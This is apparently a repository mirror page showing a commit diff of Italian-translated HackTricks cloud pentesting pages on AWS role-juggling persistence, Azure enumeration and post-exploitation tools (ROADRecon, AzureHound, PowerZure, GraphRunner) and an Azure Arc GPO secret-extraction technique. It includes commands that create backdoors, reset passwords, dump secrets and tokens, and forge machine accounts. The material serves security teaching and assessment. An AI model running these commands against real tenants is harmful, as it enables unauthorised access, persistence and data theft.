gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-26 03:04:46 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

Browse Source
This commit is contained in:
Translator
2025-01-21 17:38:13 +00:00
parent c720f88c58
commit a162c52935
42 changed files with 658 additions and 641 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
View File

@@ -18,8 +18,8 @@ I token temporanei non possono essere elencati, quindi mantenere un token tempor
# Con MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678
<strong># Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username
@@ -28,7 +28,7 @@ aws sts get-session-token \
### Role Chain Juggling
[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza furtiva. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli:
```bash
@@ -45,7 +45,7 @@ optional arguments:
<details>
<summary>Codice per eseguire il Role Juggling da PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

238
src/pentesting-cloud/azure-security/README.md
View File

@@ -10,11 +10,11 @@ az-basic-information/
## Metodologia di Pentesting/Red Team di Azure
Per auditare un ambiente AZURE è molto importante sapere: quali **servizi sono in uso**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi interni di Azure e i **servizi esterni**.
Per auditare un ambiente AZURE è molto importante sapere: quali **servizi vengono utilizzati**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi interni di Azure e i **servizi esterni**.
Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente Azure** è riuscire a ottenere alcune **credenziali** per Azure AD. Ecco alcune idee su come farlo:
- **Leak** su github (o simili) - OSINT
- **Leaks** in github (o simili) - OSINT
- **Ingegneria** Sociale
- Riutilizzo della **Password** (leak di password)
- Vulnerabilità nelle Applicazioni Ospitate su Azure
@@ -22,10 +22,10 @@ Dal punto di vista di un Red Team, il **primo passo per compromettere un ambient
- **Lettura di File Locali**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gennaio 2022 - memorizzava **token di accesso in chiaro**
- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gen2022 - memorizzava **token di accesso in chiaro**
- Il file **`azureProfile.json`** contiene **info** sull'utente connesso.
- **`az logout`** rimuove il token.
- Le versioni precedenti di **`Az PowerShell`** memorizzavano **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\
- Le versioni precedenti di **`Az PowerShell`** memorizzavano i **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\
Usa `Disconnect-AzAccount` per rimuoverli.
- Terze parti **compromesse**
- **Dipendente** Interno
@@ -63,7 +63,7 @@ Nei casi in cui hai alcune credenziali valide ma non riesci a effettuare il logi
- **Whitelist IP** -- Devi compromettere un IP valido
- **Restrizioni Geografiche** -- Scopri dove vive l'utente o dove si trovano gli uffici dell'azienda e ottieni un IP dalla stessa città (o paese almeno)
- **Browser** -- Forse è consentito solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS). Scopri quale OS utilizza la vittima/azienda.
- **Browser** -- Forse solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS) è consentito. Scopri quale OS utilizza la vittima/azienda.
- Puoi anche provare a **compromettere le credenziali del Service Principal** poiché di solito sono meno limitate e il loro login è meno controllato
Dopo averlo bypassato, potresti essere in grado di tornare alla tua configurazione iniziale e avrai ancora accesso.
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
>
> Puoi ottenere le stesse informazioni nella **console web** andando su [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o cercando "Tutte le risorse"
### Enumerazione di ENtra ID
### Enumerazione di Entra ID
Per impostazione predefinita, qualsiasi utente dovrebbe avere **sufficienti autorizzazioni per enumerare** cose come utenti, gruppi, ruoli, service principal... (controlla [autorizzazioni predefinite di AzureAD](az-basic-information/index.html#default-user-permissions)).\
Puoi trovare qui una guida:
@@ -149,226 +149,4 @@ Usa portal.azure.com e seleziona la shell, oppure usa shell.azure.com, per un ba
Azure DevOps è separato da Azure. Ha repository, pipeline (yaml o release), board, wiki e altro. I Gruppi di Variabili vengono utilizzati per memorizzare valori di variabili e segreti.
## Debug | MitM az cli
Utilizzando il parametro **`--debug`** è possibile vedere tutte le richieste che lo strumento **`az`** sta inviando:
```bash
az account management-group list --output table --debug
```
Per eseguire un **MitM** sullo strumento e **controllare tutte le richieste** che sta inviando manualmente, puoi fare:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Strumenti di Ricognizione Automatizzati
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the ‘Contributor’ role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

245
src/pentesting-cloud/azure-security/az-enumeration-tools.md
View File

@@ -24,7 +24,7 @@ pwsh
# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Installa PowerShell su MacOS
## Installare PowerShell in MacOS
Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
@@ -91,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
### Az PowerShell
Azure PowerShell è un modulo con cmdlet per gestire le risorse Azure direttamente dalla riga di comando di PowerShell.
Azure PowerShell è un modulo con cmdlet per gestire le risorse di Azure direttamente dalla riga di comando di PowerShell.
Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
@@ -126,6 +126,245 @@ Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure Powe
> [!TIP]
> Questo è sostituito da Microsoft Graph PowerShell
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
Segui questo link per le [**istruzioni di installazione**](https://www.powershellgallery.com/packages/AzureAD).
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot con steampipe e powerpipe consente di raccogliere informazioni da Azure e Entra ID e di eseguire controlli di conformità e trovare configurazioni errate. I moduli Azure attualmente più raccomandati da eseguire sono:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler è uno strumento di sicurezza Open Source per eseguire valutazioni delle migliori pratiche di sicurezza, audit, risposta agli incidenti, monitoraggio continuo, hardening e prontezza forense su AWS, Azure, Google Cloud e Kubernetes.
Fondamentalmente ci permetterebbe di eseguire centinaia di controlli su un ambiente Azure per trovare misconfigurazioni di sicurezza e raccogliere i risultati in json (e in altri formati di testo) o controllarli sul web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
Consente di eseguire automaticamente le revisioni della configurazione della sicurezza delle sottoscrizioni Azure e di Microsoft Entra ID.
I rapporti HTML sono memorizzati nella directory `./monkey-reports` all'interno della cartella del repository github.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite raccoglie dati di configurazione per ispezione manuale e evidenzia le aree a rischio. È uno strumento di auditing della sicurezza multi-cloud, che consente la valutazione della postura di sicurezza degli ambienti cloud.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
È uno script PowerShell che ti aiuta a **visualizzare tutte le risorse e i permessi all'interno di un Management Group e del tenant Entra ID** e a trovare configurazioni di sicurezza errate.
Funziona utilizzando il modulo Az PowerShell, quindi qualsiasi autenticazione supportata da questo strumento è supportata dallo strumento.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Strumenti di Post-Exploitation Automatizzati
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
L'enumerazione di ROADRecon offre informazioni sulla configurazione di Entra ID, come utenti, gruppi, ruoli, politiche di accesso condizionale...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Lancia il **BloodHound** web con **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** e importa il file `output.json`.
Poi, nella scheda **EXPLORE**, nella sezione **CYPHER** puoi vedere un'icona a **cartella** che contiene query predefinite.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst include funzioni e script che supportano la scoperta dei servizi Azure, l'audit delle configurazioni deboli e azioni post exploitation come il credential dumping. È destinato ad essere utilizzato durante i test di penetrazione in cui Azure è in uso.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure è stato creato dalla necessità di un framework che possa sia eseguire ricognizione che sfruttamento di Azure, EntraID e delle risorse associate.
Utilizza il modulo **Az PowerShell**, quindi qualsiasi autenticazione supportata da questo strumento è supportata dallo strumento.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner è un insieme di strumenti di post-exploitation per interagire con l'API Microsoft Graph. Fornisce vari strumenti per eseguire ricognizione, persistenza e saccheggio di dati da un account Microsoft Entra ID (Azure AD).
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter crea un “grafico degli attacchi” delle risorse in un abbonamento Azure. Consente ai red team e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti.
**Sfortunatamente, sembra non essere mantenuto**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -4,17 +4,17 @@
### Identifying the Issues
Azure Arc consente l'integrazione di nuovi server interni (server del dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1.
Azure Arc consente l'integrazione di nuovi server interni (server di dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1.
Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni:
1. Crea il GPO di Onboarding dei Server Azure Arc all'interno del dominio locale.
2. Copia lo script di onboarding EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di onboarding, che contiene anche il pacchetto di installazione di Windows.
Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script.
Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti anche allo script.
Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prova di questo può essere trovata nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script.
```powershell
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -31,20 +31,20 @@ Abbiamo le seguenti condizioni:
3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy.
Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Una volta ottenuto un account macchina, è possibile autenticarsi utilizzando questo account. Possiamo utilizzare il comando runas.exe con il flag netonly oppure utilizzare pass-the-ticket con Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
